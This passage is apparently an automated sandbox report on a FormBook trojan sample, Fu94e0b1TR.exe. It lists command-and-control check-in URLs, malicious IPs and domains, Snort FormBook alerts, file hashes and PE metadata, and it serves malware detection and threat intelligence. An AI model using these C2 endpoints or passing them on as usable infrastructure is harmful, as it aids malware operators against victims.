                                                            http://www.fontbureau.com/designers8Fu94e0b1TR.exe, 00000000.00000003.259630894.0000000005999000.00000004.00000001.sdmp, Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                                              		high
                                                              http://www.fontbureau.com/designers/frere-jones.htmlxFu94e0b1TR.exe, 00000000.00000003.259327134.0000000005999000.00000004.00000001.sdmpfalse
                                                                		high
                                                                http://www.jiyu-kobo.co.jp/nlyFu94e0b1TR.exe, 00000000.00000003.253358837.0000000005963000.00000004.00000001.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                http://www.fontbureau.com/designers5Fu94e0b1TR.exe, 00000000.00000003.259563222.0000000005999000.00000004.00000001.sdmpfalse
                                                                  		high
                                                                  http://www.fontbureau.comFkFu94e0b1TR.exe, 00000000.00000003.259708004.000000000596F000.00000004.00000001.sdmpfalse
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  https://sedo.com/search/details/?partnerid=324561&language=e&domain=shacksolid.com&origin=sales_landNETSTAT.EXE, 00000012.00000002.518424149.00000000033D2000.00000004.00020000.sdmpfalse
                                                                    		high

                                                                    Contacted IPs

                                                                    • No. of IPs < 25%
                                                                    • 25% < No. of IPs < 50%
                                                                    • 50% < No. of IPs < 75%
                                                                    • 75% < No. of IPs

                                                                    Public

                                                                    IPDomainCountryFlagASNASN NameMalicious
                                                                    64.190.62.111
                                                                    		www.shacksolid.comUnited States
                                                                    		11696NBS11696UStrue
                                                                    172.65.227.72
                                                                    		fbc7888164e64afca05b80bb89630439.pacloudflare.comUnited States
                                                                    		13335CLOUDFLARENETUStrue

                                                                    General Information

                                                                    Joe Sandbox Version:33.0.0 White Diamond
                                                                    Analysis ID:502374
                                                                    Start date:13.10.2021
                                                                    Start time:20:56:10
                                                                    Joe Sandbox Product:CloudBasic
                                                                    Overall analysis duration:0h 12m 52s
                                                                    Hypervisor based Inspection enabled:false
                                                                    Report type:light
                                                                    Sample file name:Fu94e0b1TR (renamed file extension from none to exe)
                                                                    Cookbook file name:default.jbs
                                                                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                    Number of analysed new started processes analysed:27
                                                                    Number of new started drivers analysed:0
                                                                    Number of existing processes analysed:0
                                                                    Number of existing drivers analysed:0
                                                                    Number of injected processes analysed:0
                                                                    Technologies:
                                                                    • HCA enabled
                                                                    • EGA enabled
                                                                    • HDC enabled
                                                                    • AMSI enabled
                                                                    Analysis Mode:default
                                                                    Analysis stop reason:Timeout
                                                                    Detection:MAL
                                                                    Classification:mal100.troj.evad.winEXE@9/1@6/2
                                                                    EGA Information:Failed
                                                                    HDC Information:
                                                                    • Successful, ratio: 8% (good quality ratio 7%)
                                                                    • Quality average: 72.9%
                                                                    • Quality standard deviation: 33%
                                                                    HCA Information:
                                                                    • Successful, ratio: 100%
                                                                    • Number of executed functions: 0
                                                                    • Number of non-executed functions: 0
                                                                    Cookbook Comments:
                                                                    • Adjust boot time
                                                                    • Enable AMSI
                                                                    Warnings:
                                                                    Show All
                                                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                                                                    • Excluded IPs from analysis (whitelisted): 95.100.218.79, 95.100.216.89, 204.79.197.200, 13.107.21.200, 20.50.102.62, 8.247.248.223, 8.247.248.249, 8.247.244.221, 40.112.88.60, 2.20.178.24, 2.20.178.33, 20.82.210.154
                                                                    • Excluded domains from analysis (whitelisted): www.bing.com, fg.download.windowsupdate.com.c.footprint.net, fs.microsoft.com, dual-a-0001.a-msedge.net, wu-shim.trafficmanager.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, www-bing-com.dual-a-0001.a-msedge.net, arc.trafficmanager.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net
                                                                    • Not all processes where analyzed, report is missing behavior information
                                                                    • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                    • VT rate limit hit for: /opt/package/joesandbox/database/analysis/502374/sample/Fu94e0b1TR.exe

                                                                    Simulations

                                                                    Behavior and APIs

                                                                    TimeTypeDescription
                                                                    20:57:21API Interceptor1x Sleep call for process: Fu94e0b1TR.exe modified

                                                                    Joe Sandbox View / Context

                                                                    IPs

                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                    64.190.62.111divpCHa0h7.exeGet hashmaliciousBrowse
                                                                    • www.mambacustomboats.com/fqiq/?ZvEd=oM7C4s4K9Ux9NUwG97tedYlymorHgm5Kv3Umj1Gnv/i5ubiDMWU/+XDfdu3U3Pyuil7R&z0DH=f0Dtar1PYnAdDzS
                                                                    wDzceoRPhB.exeGet hashmaliciousBrowse
                                                                    • www.artoidmode.com/ed9s/?2d64u=GZS0ntMXED7DC&j6A=OS1OG2uUyb/VuVpwb7VagzR+sXqT97Ebu6qajULP6tWiYdo/lZowWla7DoFCis6BwYQ7
                                                                    wO4j83Z0nB.exeGet hashmaliciousBrowse
                                                                    • www.eaglelures.com/shjn/?4huPeB=fLPs2Pf5YsyIrReC5+nyeXhjuGvcKd4ZNbc7bYo7WcEYvq7qfTlOwt6z9eiotXX8oFy5NaIH5g==&8pll=h2M80lLH_NRh4lTP
                                                                    RNIpSzBRVC.exeGet hashmaliciousBrowse
                                                                    • www.shacksolid.com/ef6c/?l6phLTh=JeohSOzXiZYIapiQlSWyFy7AWxQU0a2IMxMIOt5NBtSaZYcWimwRehmIZ/Gtb7NPDI39K9qB3Q==&UL=5j0Ll4TXePsH7TFp
                                                                    DHL_DELIVERY_ADDRESS_CONFIRMATION.xlsxGet hashmaliciousBrowse
                                                                    • www.eaglelures.com/shjn/?lL=fLPs2Pf8YryMrBSO7+nyeXhjuGvcKd4ZNbErHb06S8EZvbXsYD0CmpCx+4iXqHv3qlafUg==&NRX4i6=BxoHnNf8mX1
                                                                    Swift Copy.exeGet hashmaliciousBrowse
                                                                    • www.margotandmontague.com/eods/?i8kt=rS6FBqWeadRIrUjRXVGDKJCXOrHmePLNijFl/Z5Z+nBb3zS+3MyVFNG7lwq4S2nmAYRT&1bRLa=YfFxl
                                                                    p83BktbXwe.exeGet hashmaliciousBrowse
                                                                    • www.shacksolid.com/ef6c/?TN6=m6pTon&YFQLD6=JeohSOzXiZYIapiQlSWyFy7AWxQU0a2IMxMIOt5NBtSaZYcWimwRehmIZ/GUEKtMNer6K9qGkg==
                                                                    HUuKj0kt3z.exeGet hashmaliciousBrowse
                                                                    • www.shacksolid.com/ef6c/?p4R4=PhjHKdH0&M0=JeohSOzXiZYIapiQlSWyFy7AWxQU0a2IMxMIOt5NBtSaZYcWimwRehmIZ8q9HKR0E9es
                                                                    ibelNHDA0l.exeGet hashmaliciousBrowse
                                                                    • www.shacksolid.com/ef6c/?-ZUt=d0G0Yn1hWXrx&6liX3=JeohSOzXiZYIapiQlSWyFy7AWxQU0a2IMxMIOt5NBtSaZYcWimwRehmIZ/KtIrBMaY3r
                                                                    SOA.exeGet hashmaliciousBrowse
                                                                    • www.margotandmontague.com/eods/?t2J=i48Hk&0488qv=rS6FBqWeadRIrUjRXVGDKJCXOrHmePLNijFl/Z5Z+nBb3zS+3MyVFNG7lwq4S2nmAYRT
                                                                    JFE6tQehuD.exeGet hashmaliciousBrowse
                                                                    • www.metaju.com/hp6s/?3fi4-=oTVRl9Ml+OPXCj4hXV9OE5wFzXP9r5xGefeVUpAp//OvItILtz2iowizXiJv4RVplgLV&nHe8qD=uT4P8xNpn2xLT
                                                                    qFghuPTDuw.exeGet hashmaliciousBrowse
                                                                    • www.espressence.com/heth/?ZL3DB4=k0ADkxu0U9bB5vfcGnx5Bs1sio5yDITUm4QVk28VSMP15iSTcA+z80qdnmNkqg687zJ8t5HzaA==&j48D=mDHPtfePwBFdPz
                                                                    DUE PAYMENT.exeGet hashmaliciousBrowse
                                                                    • www.arroundworld.com/b2c0/?2dpPwJP=HgvD120OCtIy2y4XcSYLXMqfh1iHIXLo+sJztNYgJy1E5kFWd+L461vXk/S7HsBG78Yt&uN9=3fPH4rk8fd4xHD
                                                                    DUE INVOICES.exeGet hashmaliciousBrowse
                                                                    • www.cleanerstoday.com/b6cu/?BT=2dhhnfvPB6f8zBxp&R2MD6=s6p0OZd7QyF8NlKcRKg3d1Mhcu09NMFJH4/6pKf9s+pgPcRhCY/sfApJlg4NsLKExf7o
                                                                    04_extracted.exeGet hashmaliciousBrowse
                                                                    • www.floving.com/n64d/?Cp=DP82qm31la64DOOKpdUd06m34NWm8oWBFGOqGRtoZCrcCLyfaO//8P4OrMWD8005mMFK&z8t=Xnpl7Zy8MJQL
                                                                    Order.exeGet hashmaliciousBrowse
                                                                    • www.delights.info/k8b5/?wHzl=n58VdqdNqp0SKyCVZWhsMzftZSLJsGdR5bs0KFZ5CUW42r4DzaRBfIPAFoSHs1TqGO6s&-ZC=m6APvNqxt
                                                                    Statement of Account.exeGet hashmaliciousBrowse
                                                                    • www.cleanerstoday.com/b6cu/?1bxdQ0YH=s6p0OZd7QyF8NlKcRKg3d1Mhcu09NMFJH4/6pKf9s+pgPcRhCY/sfApJljYdjqa8v6Sv&m0DD=bT0pMNUhtf28
                                                                    USD INV#1191189.exeGet hashmaliciousBrowse
                                                                    • www.cleanerstoday.com/b6cu/?R2Mx=s6p0OZd7QyF8NlKcRKg3d1Mhcu09NMFJH4/6pKf9s+pgPcRhCY/sfApJljY38aq8r4av&gJBp9R=4hx40FuPFpNXarZP
                                                                    NEW_PO_QUOTE_88987_PDF.exeGet hashmaliciousBrowse
                                                                    • www.itbling.com/snaa/?Rv=HoB7UN9NeUtFFxU706ZiB/yN8phSIrDDzxMV/Ji+4+dNDKz34ah20hb+VYbC7wDWP/ld&p2J=vZw8NdKxk8f
                                                                    Proforma Invoice.xlsxGet hashmaliciousBrowse
                                                                    • www.nge.xyz/mo8t/?zxlpi=o1c4mJ3VAZ0Opt29tYk9ZJ1L/8ohiIP72w8Hsb8darVa0q91TqSigaAH0fmvs0SBq4qZcQ==&LR=w4UxT2yx30FHEXz

                                                                    Domains

                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                    fbc7888164e64afca05b80bb89630439.pacloudflare.comRNIpSzBRVC.exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    1taaCpMNKr.exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    qZfsUMa6Jh.exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    HUuKj0kt3z.exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    pdrAizaO1R.exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    $$$.exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    sample catalog_2021.exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    Transfer application.exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    CTM ARRANGEMENT.exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    Proforma Invoice & Bank Swift Copy.exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    USU(1).exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    PO#EIMG_501_367_089.exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    RFQ_AP65425652_032421 v#U00e1#U00ba#U00a5n #U00c4#U2018#U00e1#U00bb ,pdf.exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    Request for Quotation RFQ GC-0016862.PDF.exeGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    hEtfBNCsR8.rtfGet hashmaliciousBrowse
                                                                    • 172.65.227.72
                                                                    www.shacksolid.comRNIpSzBRVC.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    p83BktbXwe.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    HUuKj0kt3z.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    ibelNHDA0l.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    www.rjtherealest.com0n1pEFuGKC.exeGet hashmaliciousBrowse
                                                                    • 74.208.236.145
                                                                    4ZfdpLEQn1.exeGet hashmaliciousBrowse
                                                                    • 74.208.236.145

                                                                    ASN

                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                    NBS11696USdivpCHa0h7.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    wDzceoRPhB.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    wO4j83Z0nB.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    RNIpSzBRVC.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    DHL_DELIVERY_ADDRESS_CONFIRMATION.xlsxGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    Swift Copy.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    p83BktbXwe.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    HUuKj0kt3z.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    ibelNHDA0l.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    SOA.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    JFE6tQehuD.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    qFghuPTDuw.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    DUE PAYMENT.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    x86_64Get hashmaliciousBrowse
                                                                    • 209.87.95.109
                                                                    DUE INVOICES.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    04_extracted.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    Order.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    Statement of Account.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    USD INV#1191189.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    NEW_PO_QUOTE_88987_PDF.exeGet hashmaliciousBrowse
                                                                    • 64.190.62.111
                                                                    CLOUDFLARENETUSqbrMYaTNrE.exeGet hashmaliciousBrowse
                                                                    • 104.21.26.237
                                                                    M12s7KNFDg.exeGet hashmaliciousBrowse
                                                                    • 172.67.168.153
                                                                    farcry6_repack.exeGet hashmaliciousBrowse
                                                                    • 162.159.130.233
                                                                    Original Shipment Doc Ref 2853801324189923,PDF.exeGet hashmaliciousBrowse
                                                                    • 162.159.134.233
                                                                    Gsdqz.dllGet hashmaliciousBrowse
                                                                    • 104.26.6.139
                                                                    4tOOUNDwaW.exeGet hashmaliciousBrowse
                                                                    • 172.67.168.153
                                                                    7ofFMoirr5.exeGet hashmaliciousBrowse
                                                                    • 104.21.26.237
                                                                    HUTWMrDhov.dllGet hashmaliciousBrowse
                                                                    • 104.26.7.139
                                                                    2u2u8wnrrW.exeGet hashmaliciousBrowse
                                                                    • 172.67.216.2
                                                                    z8FnqbFMkV.exeGet hashmaliciousBrowse
                                                                    • 172.67.168.153
                                                                    divpCHa0h7.exeGet hashmaliciousBrowse
                                                                    • 23.227.38.74
                                                                    M1YceQ237E.dllGet hashmaliciousBrowse
                                                                    • 104.20.185.68
                                                                    BF2042.exeGet hashmaliciousBrowse
                                                                    • 162.159.134.233
                                                                    SecuriteInfo.com.W32.AIDetect.malware1.10225.exeGet hashmaliciousBrowse
                                                                    • 104.21.26.237
                                                                    5y4jNIVnk2.exeGet hashmaliciousBrowse
                                                                    • 104.21.26.237
                                                                    vlF8tRNmtw.exeGet hashmaliciousBrowse
                                                                    • 172.67.173.58
                                                                    FTdhc25gn8.exeGet hashmaliciousBrowse
                                                                    • 162.159.130.233
                                                                    Paymentslip 10132021.xlsxGet hashmaliciousBrowse
                                                                    • 172.67.188.154
                                                                    UZlg2Sq2pQ.exeGet hashmaliciousBrowse
                                                                    • 104.21.17.130
                                                                    Revised_Purchase_Order.htmGet hashmaliciousBrowse
                                                                    • 172.67.219.206

                                                                    JA3 Fingerprints

                                                                    No context

                                                                    Dropped Files

                                                                    No context

                                                                    Created / dropped Files

                                                                    C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Fu94e0b1TR.exe.log
                                                                    Process:C:\Users\user\Desktop\Fu94e0b1TR.exe
                                                                    File Type:ASCII text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):1308
                                                                    Entropy (8bit):5.348115897127242
                                                                    Encrypted:false
                                                                    SSDEEP:24:MLUE4KJXE4qpE4Ks2E1qE4qpAE4Kzr7RKDE4KhK3VZ9pKhPKIE4oKFKHKorE4x88:MIHKtH2HKXE1qHmAHKzvRYHKhQnoPtH2
                                                                    MD5:832D6A22CE7798D72609B9C21B4AF152
                                                                    SHA1:B086DE927BFEE6039F5555CE53C397D1E59B4CA4
                                                                    SHA-256:9E5EE72EF293C66406AF155572BF3B0CF9DA09CC1F60ED6524AAFD65553CE551
                                                                    SHA-512:A1A70F76B98C2478830AE737B4F12507D859365F046C5A415E1EBE3D87FFD2B64663A31E1E5142F7C3A7FE9A6A9CB8C143C2E16E94C3DD6041D1CCABEDDD2C21
                                                                    Malicious:false
                                                                    Reputation:moderate, very likely benign file
                                                                    Preview: 1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Deployment, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows

                                                                    Static File Info

                                                                    General

                                                                    File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                    Entropy (8bit):7.47098319943845
                                                                    TrID:
                                                                    • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                                                    • Win32 Executable (generic) a (10002005/4) 49.78%
                                                                    • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                    • Generic Win/DOS Executable (2004/3) 0.01%
                                                                    • DOS Executable Generic (2002/1) 0.01%
                                                                    File name:Fu94e0b1TR.exe
                                                                    File size:474112
                                                                    MD5:6429aa83e4bc083b4f0b3f44b0d7950f
                                                                    SHA1:0ead59881f054284f611accb61451ed1ffc818fc
                                                                    SHA256:96c57ae661562e958e01bb0b490c09a0a51bb367931620223174963de88bdfcb
                                                                    SHA512:186383701c591db2c011c8ae24920759c10880068dd217e32110ae54b9c7f0863b7fb04e893f601a234742deb5838a22820dc8835ba9198d66b7bb297d502f9b
                                                                    SSDEEP:6144:zMkhBsNolyfnZle9UX08PF85KQ4O1LkyUCZ2e12XZ0bp2Qo7lYB:oSBblyfnZlW+08+5KQpyy52nZ0vo7a
                                                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....fa..............0.................. ........@.. ....................................@................................

                                                                    File Icon

                                                                    Icon Hash:c4b28ed696aa92c0

                                                                    Static PE Info

                                                                    General

                                                                    Entrypoint:0x45c99e
                                                                    Entrypoint Section:.text
                                                                    Digitally signed:false
                                                                    Imagebase:0x400000
                                                                    Subsystem:windows gui
                                                                    Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
                                                                    DLL Characteristics:NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                                                                    Time Stamp:0x6166A519 [Wed Oct 13 09:21:29 2021 UTC]
                                                                    TLS Callbacks:
                                                                    CLR (.Net) Version:v4.0.30319
                                                                    OS Version Major:4
                                                                    OS Version Minor:0
                                                                    File Version Major:4
                                                                    File Version Minor:0
                                                                    Subsystem Version Major:4
                                                                    Subsystem Version Minor:0
                                                                    Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                    Entrypoint Preview

                                                                    Instruction
                                                                    jmp dword ptr [00402000h]
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al

                                                                    Data Directories

                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x5c94c0x4f.text
                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x5e0000x18c94.rsrc
                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x780000xc.reloc
                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                    Sections

                                                                    NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                    .text0x20000x5a9a40x5aa00False0.880191271552data7.77320879492IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                                    .rsrc0x5e0000x18c940x18e00False0.1953125data5.07036789646IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                    .reloc0x780000xc0x200False0.044921875data0.101910425663IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                    Resources

                                                                    NameRVASizeTypeLanguageCountry
                                                                    RT_ICON0x5e1800x468GLS_BINARY_LSB_FIRST
                                                                    RT_ICON0x5e5f80x10a8dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 0, next used block 0
                                                                    RT_ICON0x5f6b00x25a8dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
                                                                    RT_ICON0x61c680x4228dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
                                                                    RT_ICON0x65ea00x10828dBase III DBT, version number 0, next free block index 40
                                                                    RT_GROUP_ICON0x766d80x4cdata
                                                                    RT_VERSION0x767340x360data
                                                                    RT_MANIFEST0x76aa40x1eaXML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

                                                                    Imports

                                                                    DLLImport
                                                                    mscoree.dll_CorExeMain

                                                                    Version Infos

                                                                    DescriptionData
                                                                    Translation0x0000 0x04b0
                                                                    LegalCopyrightCopyright Gottschalks 2011
                                                                    Assembly Version1.0.0.0
                                                                    InternalNameObjectMarshal.exe
                                                                    FileVersion1.0.0.0
                                                                    CompanyNameGottschalks
                                                                    LegalTrademarks
                                                                    Comments
                                                                    ProductNameMapEditor1
                                                                    ProductVersion1.0.0.0
                                                                    FileDescriptionMapEditor1
                                                                    OriginalFilenameObjectMarshal.exe

                                                                    Network Behavior

                                                                    Snort IDS Alerts

                                                                    TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                    10/13/21-20:59:09.555144TCP2031453ET TROJAN FormBook CnC Checkin (GET)4979580192.168.2.564.190.62.111
                                                                    10/13/21-20:59:09.555144TCP2031449ET TROJAN FormBook CnC Checkin (GET)4979580192.168.2.564.190.62.111
                                                                    10/13/21-20:59:09.555144TCP2031412ET TROJAN FormBook CnC Checkin (GET)4979580192.168.2.564.190.62.111
                                                                    10/13/21-20:59:19.990837TCP2031453ET TROJAN FormBook CnC Checkin (GET)4979780192.168.2.5192.0.78.24
                                                                    10/13/21-20:59:19.990837TCP2031449ET TROJAN FormBook CnC Checkin (GET)4979780192.168.2.5192.0.78.24
                                                                    10/13/21-20:59:19.990837TCP2031412ET TROJAN FormBook CnC Checkin (GET)4979780192.168.2.5192.0.78.24

                                                                    Network Port Distribution

                                                                    TCP Packets

                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                    Oct 13, 2021 20:58:54.041382074 CEST4979080192.168.2.5172.65.227.72
                                                                    Oct 13, 2021 20:58:54.057359934 CEST8049790172.65.227.72192.168.2.5
                                                                    Oct 13, 2021 20:58:54.065212965 CEST4979080192.168.2.5172.65.227.72
                                                                    Oct 13, 2021 20:58:54.065588951 CEST4979080192.168.2.5172.65.227.72
                                                                    Oct 13, 2021 20:58:54.082298040 CEST8049790172.65.227.72192.168.2.5
                                                                    Oct 13, 2021 20:58:54.380971909 CEST8049790172.65.227.72192.168.2.5
